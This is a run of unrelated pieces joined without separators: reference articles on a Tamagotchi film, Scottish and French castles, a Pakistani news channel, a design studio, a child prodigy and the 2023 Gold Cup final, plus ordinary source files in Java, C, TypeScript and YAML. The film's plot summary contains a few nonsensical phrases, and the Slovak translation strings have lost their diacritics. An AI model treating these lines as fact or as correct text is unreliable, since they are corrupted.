is a 2007 Japanese animated film produced by OLM's Team Kamei division. It is the first Tamagotchi feature film ever produced, officially based on the digital pet franchise jointly created by Bandai and WiZ. It is directed by Jōji Shimura of Pokémon and written by Aya Matsui of Boys Over Flowers and was released in theaters by Toho on December 15, 2007, and on DVD on July 23, 2008 in Japan. The movie was dubbed & released by Madman Entertainment on June 1, 2009 in English in both Australia and United Kingdom. It is followed by a sequel, Tamagotchi: Happiest Story in the Universe!. Plot Young Mametchi had just finished his latest invention: the "Transporter Machine". At the same time, a young 10 year old girl in the 4th grade named Tanpopo goes off to deliver a forgotten item to her mother who is having a baby. Tanpopo and Mametchi are both about to become older siblings and are scared to see what will happen. Mametchi's best friends, Memetchi and Kuchipatchi arrive at Mametchi's house just in time to see Mametchi try out his invention. Several events result in the aim of the Forwarding Machine to go off course, started by Kuchipatchi when he saw a hamburger which was a toy and Tanpopo is brought to Tamagotchi Planet. The next day, Tanpopo goes to school to learn with Mametchi, Memetchi, Kuchipatchi, and the Tamagotchi children. During science class, an explosion kisses the room into smoke and darkness. Almost everyone is fine, but Mametchi crouches on the floor in fear. Later at a restaurant, Mametchi explains that he has been afraid of the dark ever since he got trapped in a hole one time when he was a young child. He fears he will be an embarrassment to his little sibling. Mametchi built the Transporter Machine to bring himself his own private sun to give him light. Mametchi vows to begin experiments to make a little sun for himself. One day, Mametchi and Tanpopo stay home. Papamametchi gives Tanpopo a key that will take her back to the time when she was forwarded to Tamagotchi Planet. After several more events, the egg (which is Mametchi's sibling) bounds out the window, rolls down the street, and eventually falls into a bundle of balloons that end up caught on the top of a high tower with a number one on it. Soon all of Tamagotchi Planet is watching Mametchi try to save the egg. Mametchi, Tanpopo, and Memetchi are all trying to save Mametchi's younger sibling, and Kuromametchi saves all three of them, using Kuchipatchi as a trampoline. Soon, the egg hatches into Mametchi's sister, ChaMametchi. A montage of events follow, as ChaMametchi grows to kindergarten age, while Mametchi finally succeeds in creating "Mamesunnitchi", a little sun that will follow Mametchi everywhere and always provide him with light. The real Tamagotchi Planet sun, Sunnitchi, witnesses this. Soon after, the rocket for Tanpopo is complete. Mametchi says he wants Tanpopo to stay for the birthday celebrations for the King, and both Tanpopo and Mametchi's parents agree. The next morning, it is dark outside. Sunnitchi is nowhere to be found, and thus Tamagotchi Planet has no light. Mametchi and the others find this odd, but go to school anyway. During more preparations, a sneezing sound is heard, and the Tamagotchi Planet inhabitants are violently thrown into the air. It is soon discovered that Tamagotchi Planet caught a cold due to having no heat. Mametchi and Tanpopo overhear the Principal of Tamagotchi School explaining that Sunnitchi left a goodbye note, apparently because Mametchi created a new sun. Mametchi takes this to mean that the whole situation was his fault. That night, Mametchi sneaks out of the house with Mamesunnitchi and enters the completed rocket. Suddenly, Tanpopo, Memetchi, and Kuchipatchi appear, eager to help. They give Mametchi the manual, and he is able to start up the rocket. ChaMametchi sneaks aboard at the last minute, and they are forced to take her with them. As the passengers enter space, Papamametchi and the other scientists appear suddenly on the video screen and demand that they return. When Mametchi tells Papamametchi about how he is taking responsibility for his mistakes (just like with the egg incident), Papamametchi reluctantly agrees. The scientists had developed medicine for the Tamagotchi Planet, and the pill was mounted on top of the rocket. They have only one medicine capsule, and only one chance of administering it. Before Mametchi can fire the pill, ChaMametchi jumps into his lap at the last moment, dislocating the rocket's trajectory. Though it appears they have failed at curing Tamagotchi planet, Tamagotchi World is able to absorb it with its runny nose. At this point, Mametchi is about to go in search of Sunnitchi, but the rocket is sent spiraling away, and outside of radio contact. Mametchi finally reaches the breaking point when ChaMametchi asks to talk to Papamametchi, yelling at her for not supporting the To Infinity and Beyond movement. ChaMametchi cries. Tanpopo tells Mametchi he said too much, and takes ChaMametchi into another room to comfort her. Mametchi and the others join Tanpopo and ChaMametchi for several minutes, where Mametchi and ChaMametchi make up, and Tanpopo now knows what's in store for her when her younger sibling is born and is no longer afraid of that responsibility. Suddenly, however, the ship shakes violently, and they return to the command center to find that there are all sorts of objects flying towards them. They suddenly realize that they are drifting towards a black hole, and Mametchi is stricken with fear. Mametchi attempts to fire the rocket, but the ship can't escape the pull of the black hole. Suddenly, communications with the Tamagotchi Planet are restored. One of the scientists (Professor Mametchi) notices that the black hole is actually a sleeping Blackholetchi. The only way to save the passengers is to wake Blackholetchi up. Mametchi activates the loudspeaker and everyone on the ship screams out, trying and awaken Blackholetchi. A meteoroid slams into the ship and blocks the loudspeaker so that no sound can come out. In desperation, Mametchi and Tanpopo put on spacesuits and try to dislodge the meteoroid. With the meteoroid dislodged, Memetchi, Kuchipatchi, and ChaMametchi started shouting at Blackholetchi again. Soon, all of the people on Tamagotchi Planet join in. Mametchi is finally able to overcome his fear of the dark, and joins in the call to awaken Blackholetchi. ChaMametchi starts screaming for Blackholetchi to wake up once more, and soon Tamagotchi World himself makes a loud cry. This finally reaches Blackholetchi, who awakes from his slumber. Mametchi is heard calling out from within Blackholetchi, and the universe's largest Tamagotchi apologizes and returns them to the ship. Communications are once again cut off; the inhabitants on Tamagotchi World note that the rocket has used up all of its fuel, and there is no way for the rocket's passengers to return. Mametchi's connection is restored, and the passengers have returned home. Sunnitchi, brought them all back to Tamagotchi Planet. Sunnitchi explains that he just left to go on a hot springs tour. The celebration for the King's birthday begins, and there is a parade through Tamatown. Halfway through, Papamametchi and Mamametchi find Tanpopo and tell her that Cometchi is about to fly by Tamagotchi World, willing to take Tanpopo back to Earth. Hastily Tanpopo, Mametchi and his family, Memetchi, and Kuchipatchi go to the meadow to meet Cometchi. Tanpopo finally opens up the bag that she was supposed to be taking to her mother, and sees it is the dress that she had worn when she was a newborn. ChaMametchi cries that she doesn't want Tanpopo to go, and a tearful farewell follows, with the Tamagotchis promising to never forget her. Tanpopo is back at her desk in her room, at the exact time before she was forwarded to Tamagotchi Planet. She wonders if it was all a dream, until she sees the key she was given. Just then, her mother calls, and Tanpopo tells her she's about to deliver her bag. Months later, Tanpopo receives a letter in her Tamagotchi from Mametchi and ChaMametchi, and sends back a letter in her mind, saying that her baby brother is selfish, but is a kind heart. Cast Box office The film grossed $6,784,907 at the Japanese box office, as of January 20, 2008. References External links Movie site 2000s Japanese-language films 2007 anime films 2007 films OLM, Inc. animated films Toho animated films Madman Entertainment anime Bandai Entertainment anime titles Tamagotchi Films adapted into television shows Animated films set on fictional planets
```xml export const TRANSLATION_SK_SK = { accessors: 'Modifiktory prstupu', arguments: 'Argumenty', bootstrap: 'Bootstrap', branches: 'Vetvy', browse: 'Prezera', classe: 'Trieda', classes: 'Triedy', component: 'Komponent', components: 'Komponenty', constructor: 'Kontruktor', controllers: 'Controllers', controller: 'Controller', 'coverage-page-title': 'Pokrytie dokumentciou', declarations: 'Deklarcie', decorators: 'Dekortory', 'default-value': 'Predvolen hodnota', 'defined-in': 'Definovan v', dependencies: 'Zvislosti', description: 'Popis', directive: 'Direktva', directives: 'Direktvy', entrycomponents: 'EntryComponents', enumerations: 'Enumertory', enums: 'Enumertory', example: 'Prklad', exports: 'Exporty', extends: 'Roziruje', file: 'Sbor', functions: 'Funkcie', 'generated-using': 'Dokumentcia vytvoren pomocou', 'getting-started': 'Zaname', guard: 'Guard', guards: 'Guards', hostbindings: 'HostBindings', hostlisteners: 'HostListeners', 'html-element': 'HTML element', 'html-element-with-directive': 'HTML element s direktvou', identifier: 'Identifiktor', implements: 'Implementuje', imports: 'Importuje', index: 'Index', indexable: 'Indexovaten', 'inherited-from': 'Zdeden od', injectable: 'Injectable', injectables: 'Injectables', inputs: 'Vstupy', interceptors: 'Interceptors', interface: 'Rozhranie', interfaces: 'Rozhrania', legend: 'Legenda', license: 'Licencia', lines: 'Riadky', metadata: 'Metadta', methods: 'Metdy', miscellaneous: 'Rzne', module: 'Modul', modules: 'Moduly', name: 'Nzov', no: 'Nie', 'no-graph': 'Nie je k dispozcii iadny graf.', 'no-iframe': 'V prehliada nepodporuje iframe', 'no-result-matching': 'Nenjden iadne vsledky pre', 'no-svg': 'V prehliada nepodporuje SVG', optional: 'Voliten', outputs: 'Vstupy', overview: 'Prehad', parameters: 'Parametre', 'peer-dependencies': 'Peer dependencies', pipe: 'Pipe', pipes: 'Pipes', prefix: 'Prefix', properties: 'Vlastnosti', providers: 'Providers', pure: 'Pure', readme: 'README', reset: 'Resetova', 'results-matching': 'vsledkov pre', returns: 'Nvratov hodnota', route: 'Route', routes: 'Routes', schemas: 'Schmy', 'search-placeholder': 'Zadajte hadan text', selector: 'Selektor', signature: 'Podpis', statements: 'Statements', type: 'Typ', 'type-aliases': 'Type aliases', 'type-parameters': 'Type parameters', types: 'Typy', 'unamed-property': 'Nepomenovan atribt', 'unit-test-coverage': 'Pokrytie unit testami', value: 'Hodnota', variables: 'Premenn', yes: 'no', zoomin: 'Pribli', zoomout: 'Oddiali' }; ```
```java package com.yahoo.io.reader; import com.yahoo.api.annotations.Beta; import java.io.IOException; import java.io.Reader; import java.io.Writer; import java.nio.CharBuffer; import java.util.List; /** * A reader with a name. All reader methods are delegated to the wrapped reader. * * @author bratseth */ @Beta public class NamedReader extends Reader { private final String name; private final Reader reader; public NamedReader(String name, Reader reader) { this.name = name; this.reader = reader; } public String getName() { return name; } public Reader getReader() { return reader; } /** Returns the name */ @Override public String toString() { return name; } // The rest is reader method implementations which delegates to the wrapped reader public static Reader nullReader() { return new NamedReader("nullReader", Reader.nullReader()); } @Override public int read(CharBuffer charBuffer) throws IOException { return reader.read(charBuffer); } @Override public int read() throws IOException { return reader.read(); } @Override public int read(char[] chars) throws IOException { return reader.read(chars); } @Override public int read(char[] chars, int i, int i1) throws IOException { return reader.read(chars,i,i1); } @Override public long skip(long l) throws IOException { return reader.skip(l); } @Override public boolean ready() throws IOException { return reader.ready(); } @Override public boolean markSupported() { return reader.markSupported(); } @Override public void mark(int i) throws IOException { reader.mark(i); } @Override public void reset() throws IOException { reader.reset(); } @Override public void close() throws IOException { reader.close(); } @Override public long transferTo(Writer out) throws IOException { return reader.transferTo(out); } /** Convenience method for closing a list of readers. Does nothing if the given reader list is null. */ public static void closeAll(List<NamedReader> readers) { if (readers==null) return; for (Reader reader : readers) { try { reader.close(); } catch (IOException e) { // Nothing to do about it } } } } ```
Barjarg Tower is an L-plan tower house probably dating from 1680, four miles south-east of Penpont, Dumfriesshire, Scotland. It is attached to a 19th-century mansion. History The land appears to have been given to Thomas Grierson by the Earl of Morton in 1587. His son John Grierson and his wife Grizel Kilpatrick built the tower. Subsequent owners included the judge Lord Tinwald and the minister Andrew Hunter. Structure The castle, which has been modernised within, has a crenellated parapet, which may be a later addition. It has one open round turret at one corner and two conically capped turrets at two others. The castle, which has four storeys and an attic, is built of red rubble. It is a category B listed building. References External links http://www.francisfrith.com/barjarg-tower/photos/1951_b454001/ https://web.archive.org/web/20131029192657/http://www.douglashistory.co.uk/history/images/Castles/Barjarg.jpg Castles in Dumfries and Galloway Category B listed buildings in Dumfries and Galloway Listed castles in Scotland
```xml export { default as NotificationsPanel } from './NotificationsPanel'; export { notificationsConfigs } from './constants'; export { useNotifications } from './useNotifications'; ```
Monkswood is a small residential area in Welwyn Garden City, Hertfordshire, England. The area contains around 300 houses and flats and the population is about 500. The Monks Walk School, Shoplands shopping parade and Welwyn Garden City Cricket Club are nearby. The area is served by a number of local bus services to Welwyn Garden City town centre, Welwyn Village, and Stevenage. References Geography of Hertfordshire Welwyn Garden City
Tribune 24/7 (previously Express 24/7) was an English language television news channel headquartered in Karachi, Pakistan. The channel was owned by the Lakson Group. History Tribune 24/7 was the second English-language television channel to be established in Pakistan, with Dawn News being the first. After Dawn News shifted to Urdu broadcasts in February 2010, Express 24/7 remained the only 24-hour English-language news channel in Pakistan until its closure in November 2011. The Express 24/7 CEO, Sultan Lakhani, cited the dismal economic condition and insufficient number of advertisement as the main reasons behind the closure. Express 24/7 was relaunched as Tribune 24/7 in 2018, before closing again in 2019. See also Express News List of television stations in Pakistan References 24-hour television news channels in Pakistan Television channels and stations established in 2018 English-language television stations in Pakistan 2018 establishments in Pakistan Television stations in Karachi Defunct television channels Lakson Group 2019 disestablishments in Pakistan
```yaml name: Colibri description: 'Modern browser without tabs' website: 'path_to_url keywords: - browser category: Productivity ```
Art. Lebedev Studio is a design firm in Russia, founded in 1995 by Artemy Lebedev. The studio creates industrial and graphic design for commercial entities and does not accept projects from private citizens and political or religious organizations. Its motto is "Design will save the world." As of November 2011, it has five principal art directors and over 300 employees. The studio has its headquarters in Moscow, as well as other offices in Kyiv, London and New York City. Art. Lebedev Studio is owned by the holding company Art. Lebedev Group (ALG), which owns several other design and advertising companies. History and work The studio began with graphic design, then expanded to include interfaces, web design, and most recently industrial design. It has an educational center, a publishing house, a media department, and several software teams. In 2011, Russian advertising research company AdMe called them the leading web studio in Russia. Website The studio's official website is available in Russian and English. The Russian version of the site has technical advice in HTML, XML, XSLT, JavaScript, CSS and other web technologies. The site is typeset as if it were a printed book; for example, punctuation marks and characters which extend to the left (Ф, О, Т, V, т and several others) are rendered several pixels to the left when they are at the beginning of a line. Design work Art. Lebedev Studio produced the design for Russian search engine Yandex, financial group Alfa-Bank, the news sites Lenta.Ru and Gazeta.Ru and Russian promotional websites for Microsoft and Intel. They designed the Optimus Maximus keyboard, with customizable Organic light-emitting diode displays on every key, and the Just5 Brick mobile phone. They also won a public vote for the best redesign of the Moscow Metro map, in 2013. See also Parser, a web scripting language developed by the studio for its web projects and released as free software. References External links Engadget - Art Lebedev details Optimus Popularis keyboard, puts Mini Six up for pre-order Design companies of Russia Branding companies Web design companies Companies based in Moscow
The Château de Gannat is a castle in the town of Gannat in the Allier département of France. The castle now houses a museum known as Musée Yves Machelon. Description With origins in the 12th century, the Château de Gannat is a typical 14th century defensive castle, built on a square plan flanked with four machicolated towers, linked by high crenellated walls. Originally, the castle was outside the town walls and surrounded by water; it is now a feature of the town centre. By the 16th century it was uninhabitable. and much of it was dismantled in 1566. On the east wall are traces of a fireplace and two vaulted bays. It was used as a prison from 1833 to the early 20th century. The property of the département, the Château de Gannat has been listed since 1926 by the French Ministry of Culture as a monument historique. Museum The museum is housed in the former prison warders' apartments and the cells. Items on display include 14th to 18th century parchments from the town's archives, a 17th-century ivory crucifix and 12th century wrought iron. A prize exhibit is a Gospel book, whose binding is even older (10th century). Other exhibits include a typical Bourbonnais kitchen, clog makers workshop, leather and farming tools. A separate section on the French Resistance displays photographs, medals and news articles about the Resistance in the local area. See also List of castles in France References External links Musée Yves Machelon Musée Yves Machelon Castles in Auvergne-Rhône-Alpes Defunct prisons in France Monuments historiques of Allier Museums in Allier Local museums in France
```c /* libunwind - a platform-independent unwind library Contributed by Arun Sharma <arun.sharma@google.com> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <dlfcn.h> #include <libunwind.h> #define panic(args...) \ { fprintf (stderr, args); exit (-1); } int verbose; int num_errors; int in_unwind; void * malloc(size_t s) { static void * (*func)(); if(!func) func = (void *(*)()) dlsym(RTLD_NEXT, "malloc"); if (in_unwind) { num_errors++; return NULL; } else { return func(s); } } static void do_backtrace (void) { unw_word_t ip, sp; unw_cursor_t cursor; unw_context_t uc; int ret; in_unwind = 1; unw_getcontext (&uc); if (unw_init_local (&cursor, &uc) < 0) panic ("unw_init_local failed!\n"); do { unw_get_reg (&cursor, UNW_REG_IP, &ip); unw_get_reg (&cursor, UNW_REG_SP, &sp); ret = unw_step (&cursor); if (ret < 0) { ++num_errors; } } while (ret > 0); in_unwind = 0; } void foo3 (void) { do_backtrace (); } void foo2 (void) { foo3 (); } void foo1 (void) { foo2 (); } int main (void) { foo1(); if (num_errors > 0) { fprintf (stderr, "FAILURE: detected %d errors\n", num_errors); exit (-1); } return 0; } ```
```java /* * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * * Subject to the condition set forth below, permission is hereby granted to any * person obtaining a copy of this software, associated documentation and/or * data (collectively the "Software"), free of charge and under any and all * copyright rights in the Software, and any and all patent rights owned or * freely licensable by each licensor hereunder covering either (i) the * unmodified Software as contributed to or provided by such licensor, or (ii) * the Larger Works (as defined below), to deal in both * * (a) the Software, and * * (b) any piece of software and/or hardware listed in the lrgrwrks.txt file if * one is included with the Software each a "Larger Work" to which the Software * is contributed by such licensors), * * without restriction, including without limitation the rights to copy, create * derivative works of, display, perform, and distribute the Software and make, * use, sell, offer for sale, import, export, have made, and have sold the * Software and the Larger Work(s), and to sublicense the foregoing rights on * either these or other terms. * * This license is subject to the following condition: * * The above copyright notice and either this complete permission notice or at a * minimum a reference to the UPL must be included in all copies or substantial * portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ package com.oracle.truffle.polyglot; import java.lang.reflect.Type; import java.util.ConcurrentModificationException; import java.util.Iterator; import java.util.NoSuchElementException; import java.util.Objects; import com.oracle.truffle.api.CallTarget; import com.oracle.truffle.api.CompilerDirectives; import com.oracle.truffle.api.dsl.Bind; import com.oracle.truffle.api.dsl.Cached; import com.oracle.truffle.api.dsl.Specialization; import com.oracle.truffle.api.interop.InteropLibrary; import com.oracle.truffle.api.interop.StopIterationException; import com.oracle.truffle.api.interop.TruffleObject; import com.oracle.truffle.api.interop.UnsupportedMessageException; import com.oracle.truffle.api.library.CachedLibrary; import com.oracle.truffle.api.nodes.Node; import com.oracle.truffle.api.profiles.InlinedBranchProfile; import com.oracle.truffle.api.utilities.TriState; import com.oracle.truffle.polyglot.PolyglotIteratorFactory.CacheFactory.HasNextNodeGen; import com.oracle.truffle.polyglot.PolyglotIteratorFactory.CacheFactory.NextNodeGen; class PolyglotIterator<T> implements Iterator<T>, PolyglotWrapper { final Object guestObject; final PolyglotLanguageContext languageContext; final Cache cache; /** * Caches value returned from the {@link #hasNext()}. The {@link PolyglotIterator} needs to * preserve the Java {@link Iterator} contract requiring that when the * {@link Iterator#hasNext()} returns {@code true} the {@link Iterator#next()} does not throw * {@link NoSuchElementException}. The interop contract is weaker when the underlying data * structure is modified. We emulate the Java iterator behaviour by throwing a * {@link ConcurrentModificationException} when we detect an inconsistency among * {@link InteropLibrary#hasIteratorNextElement(Object)} and * {@link InteropLibrary#getIteratorNextElement(Object)} calls. The {@link #lastHasNext} field * is used to detect such an inconsistency. */ private TriState lastHasNext; /** * A flag marking the iterator as concurrently modified. When the {@link #next()} throws a * {@link ConcurrentModificationException} any other call to the {@link #next()} has to throw * {@link ConcurrentModificationException}. */ private boolean concurrentlyModified; PolyglotIterator(Class<T> elementClass, Type elementType, Object array, PolyglotLanguageContext languageContext) { this.guestObject = array; this.languageContext = languageContext; this.cache = Cache.lookup(languageContext, array.getClass(), elementClass, elementType); lastHasNext = TriState.UNDEFINED; } @Override public Object getGuestObject() { return guestObject; } @Override public PolyglotLanguageContext getLanguageContext() { return languageContext; } @Override public PolyglotContextImpl getContext() { return languageContext.context; } @Override public boolean hasNext() { if (lastHasNext == TriState.UNDEFINED) { lastHasNext = TriState.valueOf((Boolean) cache.hasNext.call(null, languageContext, guestObject)); } return lastHasNext == TriState.TRUE ? true : false; } @Override @SuppressWarnings("unchecked") public T next() { if (concurrentlyModified) { throw new ConcurrentModificationException(); } try { TriState prevHasNext = lastHasNext; if (lastHasNext == TriState.TRUE) { lastHasNext = TriState.UNDEFINED; } return (T) cache.next.call(null, languageContext, guestObject, prevHasNext); } catch (NoSuchElementException noSuchElementException) { lastHasNext = TriState.FALSE; throw noSuchElementException; } catch (ConcurrentModificationException concurrentModificationException) { concurrentlyModified = true; throw concurrentModificationException; } } @Override public String toString() { return PolyglotWrapper.toString(this); } @Override public int hashCode() { return PolyglotWrapper.hashCode(languageContext, guestObject); } @Override public boolean equals(Object o) { if (o instanceof PolyglotIterator) { return PolyglotWrapper.equals(languageContext, guestObject, ((PolyglotIterator<?>) o).guestObject); } else { return false; } } static final class Cache { final PolyglotLanguageInstance languageInstance; final Class<?> receiverClass; final Class<?> valueClass; final Type valueType; final CallTarget hasNext; final CallTarget next; final CallTarget apply; private Cache(PolyglotLanguageInstance languageInstance, Class<?> receiverClass, Class<?> valueClass, Type valueType) { this.languageInstance = languageInstance; this.receiverClass = receiverClass; this.valueClass = valueClass; this.valueType = valueType; this.hasNext = HasNextNodeGen.create(this).getCallTarget(); this.next = NextNodeGen.create(this).getCallTarget(); this.apply = new Apply(this).getCallTarget(); } static Cache lookup(PolyglotLanguageContext languageContext, Class<?> receiverClass, Class<?> valueClass, Type valueType) { Key cacheKey = new Key(receiverClass, valueClass, valueType); Cache cache = HostToGuestRootNode.lookupHostCodeCache(languageContext, cacheKey, Cache.class); if (cache == null) { cache = HostToGuestRootNode.installHostCodeCache(languageContext, cacheKey, new Cache(languageContext.getLanguageInstance(), receiverClass, valueClass, valueType), Cache.class); } assert cache.receiverClass == receiverClass; assert cache.valueClass == valueClass; assert Objects.equals(cache.valueType, valueType); return cache; } private static final class Key { private final Class<?> receiverClass; private final Class<?> valueClass; private final Type valueType; Key(Class<?> receiverClass, Class<?> valueClass, Type valueType) { this.receiverClass = Objects.requireNonNull(receiverClass); this.valueClass = Objects.requireNonNull(valueClass); this.valueType = valueType; } @Override public int hashCode() { int res = receiverClass.hashCode(); res = res * 31 + valueClass.hashCode(); res = res * 31 + (valueType == null ? 0 : valueType.hashCode()); return res; } @Override public boolean equals(Object obj) { if (this == obj) { return true; } else if (obj == null || getClass() != obj.getClass()) { return false; } Key other = (Key) obj; return receiverClass == other.receiverClass && valueClass == other.valueClass && Objects.equals(valueType, other.valueType); } } abstract static class PolyglotIteratorNode extends HostToGuestRootNode { static final int LIMIT = 5; final Cache cache; PolyglotIteratorNode(Cache cache) { super(cache.languageInstance); this.cache = cache; } @SuppressWarnings("unchecked") @Override protected Class<? extends TruffleObject> getReceiverType() { return (Class<? extends TruffleObject>) cache.receiverClass; } @Override public final String getName() { return "PolyglotIterator<" + cache.receiverClass + ", " + cache.valueType + ">." + getOperationName(); } protected abstract String getOperationName(); } abstract static class HasNextNode extends PolyglotIteratorNode { HasNextNode(Cache cache) { super(cache); } @Override protected String getOperationName() { return "hasNext"; } @Specialization(limit = "LIMIT") @SuppressWarnings({"unused", "truffle-static-method"}) Object doCached(PolyglotLanguageContext languageContext, Object receiver, Object[] args, @Bind("this") Node node, @CachedLibrary("receiver") InteropLibrary iterators, @Cached InlinedBranchProfile error) { try { return iterators.hasIteratorNextElement(receiver); } catch (UnsupportedMessageException e) { error.enter(node); throw PolyglotInteropErrors.iteratorUnsupported(languageContext, receiver, cache.valueType, "hasNext"); } } } abstract static class NextNode extends PolyglotIteratorNode { NextNode(Cache cache) { super(cache); } @Override protected String getOperationName() { return "next"; } @Specialization(limit = "LIMIT") @SuppressWarnings({"unused", "truffle-static-method"}) Object doCached(PolyglotLanguageContext languageContext, Object receiver, Object[] args, @Bind("this") Node node, @CachedLibrary("receiver") InteropLibrary iterators, @Cached PolyglotToHostNode toHost, @Cached InlinedBranchProfile error, @Cached InlinedBranchProfile stop) { TriState lastHasNext = (TriState) args[ARGUMENT_OFFSET]; try { Object next = iterators.getIteratorNextElement(receiver); if (lastHasNext == TriState.FALSE) { error.enter(node); throw PolyglotInteropErrors.iteratorConcurrentlyModified(languageContext, receiver, cache.valueType); } return toHost.execute(node, languageContext, next, cache.valueClass, cache.valueType); } catch (StopIterationException e) { stop.enter(node); if (lastHasNext == TriState.TRUE) { throw PolyglotInteropErrors.iteratorConcurrentlyModified(languageContext, receiver, cache.valueType); } else { throw PolyglotInteropErrors.stopIteration(languageContext, receiver, cache.valueType); } } catch (UnsupportedMessageException e) { error.enter(node); throw PolyglotInteropErrors.iteratorElementUnreadable(languageContext, receiver, cache.valueType); } } } private static class Apply extends PolyglotIteratorNode { @Child private PolyglotExecuteNode apply = PolyglotExecuteNodeGen.create(); Apply(Cache cache) { super(cache); } @Override protected String getOperationName() { return "apply"; } @Override protected Object executeImpl(PolyglotLanguageContext languageContext, Object receiver, Object[] args) { return apply.execute(languageContext, receiver, args[ARGUMENT_OFFSET]); } } } @CompilerDirectives.TruffleBoundary static <T> PolyglotIterator<T> create(PolyglotLanguageContext languageContext, Object iterable, boolean implementFunction, Class<T> elementClass, Type elementType) { if (implementFunction) { return new PolyglotIteratorAndFunction<>(elementClass, elementType, iterable, languageContext); } else { return new PolyglotIterator<>(elementClass, elementType, iterable, languageContext); } } } ```
Ainan Celeste Cawley (born 23 November 1999) is a Singaporean prodigy. Cawley gave his first public lecture at the age of six, and at seven years and one month of age, he had passed the GCSE chemistry and studied chemistry at the tertiary level in Singapore Polytechnic a year later. At the age of 9, he was able to recite pi to 521 decimal places and could remember the periodic table. At the age of 12, he had scored his first film, which was premiered at the Vilnius International Film Festival and eventually, directed his own film. In 2007, Cawley studied at NUS High School of Math and Science, but left after expectations of his family were not met. In 2009, Cawley was featured in a Channel 4 documentary titled The World's Cleverest Child and Me. In 2010, his family moved to Kuala Lumpur, where Cawley is a student at the Taylor's University in Malaysia after his father's request to have his son homeschooled was rejected. As of 2013, he is pursuing his career in music. According to his parents, Valentine Cawley and Syahidah Osman, Cawley could walk at six months old and construct complex sentences by his first birthday, and had said his first word when he was two weeks old. See also List of child prodigies List of child music prodigies Intellectual giftedness References Living people 1999 births Singaporean composers Taylor University alumni Singapore Polytechnic alumni Singaporean expatriates in Malaysia Singaporean people of Irish descent
The 2023 CONCACAF Gold Cup final was a soccer match to determine the winner of the 2023 CONCACAF Gold Cup. The match was the 17th final of the Gold Cup, a biennial tournament contested by the men's national teams representing the member associations of CONCACAF and an invited guest to decide the champion of North America, Central America, and the Caribbean. The match was held at SoFi Stadium in Inglewood, California, United States, on July 16, 2023, and was contested by Mexico and Panama. Mexico won 1–0 thanks to a late goal from substitute Santiago Giménez, securing a record ninth Gold Cup title. Background Mexico was the most successful national team at the CONCACAF Gold Cup with eight titles in ten finals played. After being eliminated in the group stage of the 2022 FIFA World Cup, Mexico signed Argentine coach Diego Cocca to replace his fellow countryman Gerardo Martino. Under the management of Cocca, the Mexicans played in the 2023 CONCACAF Nations League Finals, losing 3–0 in the semi-finals to the United States but beating Panama 1–0 in the third place play-off. These results led to Cocca's departure and the arrival of Mexican Jaime Lozano as interim coach a few days before the start of the Gold Cup. With Danish-born Spaniard coach Thomas Christiansen at the helm, Panama reached their third Gold Cup final to become the team with the most Gold Cup finals, behind only Mexico and the United States. The Panamanians lost the two previous finals to the United States; 3–1 on penalties after a goalless draw in 2005 and 1–0 in 2013. This unprecedented Gold Cup final was the 29th match between Mexico and Panama. The two sides most recent meeting was in the aforementioned third place play-off of the 2023 CONCACAF Nations League Finals, won by Mexico 1–0. Venue The final was held at SoFi Stadium in Inglewood, California, United States, located in the Los Angeles metropolitan area. It was the first major international tournament to be played at the venue, which was built for the Los Angeles Chargers and Los Angeles Rams of the National Football League. The Los Angeles area has previously hosted Gold Cup matches six times, including four finals played at the Los Angeles Memorial Coliseum and two finals at the Rose Bowl. On October 27, 2022, CONCACAF announced that SoFi Stadium would be the host venue for the final. The venue will also host matches during the 2026 FIFA World Cup. Route to the final Mexico Drawn in Group B, Mexico's first match was against Honduras. Mexico opened the score early, with a first-minute goal from Luis Romo. This was followed by a second goal from Romo and further efforts from Orbelín Pineda and Luis Chávez to secure a 4–0 win. Mexico, then overcame an organized Haiti side with Henry Martín scoring early in the second half, an own goal from Ricardo Adé, and Santiago Giménez complementing to the lead, despite conceding a goal from Danley Jean Jacques. Mexico won 3–1 and became the first team to progress to the knockout stage. With progression assured, Mexico rotated most of their team, resting key players for their final group match against a Qatar side who needed a win to avoid elimination; Mexico would lose the match 1–0, courtesy of a goal from Hazem Shehata. Despite this, Mexico maintained their first spot position as group winners, due to a superior point difference over group runners-up Qatar. In the quarter-finals, Mexico overcame Group C runners-up Costa Rica 2–0, with second half goals from Pineda and Erick Sánchez. Mexico then faced Jamaica in the semi-finals; El Tri were able to defeat the Caribbean nation with goals from Henry Martín, Luis Chávez and Roberto Alvarado. Mexico thus reached a third consecutive CONCACAF Gold Cup final for the second time in their history. Panama After winning Group C unbeaten and with seven points, Panama decisively defeated Qatar 4–0 in the quarter-finals; Yoel Bárcenas scored in the first half, followed by a nine-minute Ismael Díaz hat-trick in the second half, making it the fastest hat-trick in Gold Cup history. Panama's semi-final fixture came against reigning champions and hosts United States. Following a 0–0 stalemate after regulation time, Panama took the lead in the first half of extra time through Iván Anderson, but conceded an equalizer from Jesús Ferreira at the end of the first extra time period. With the score 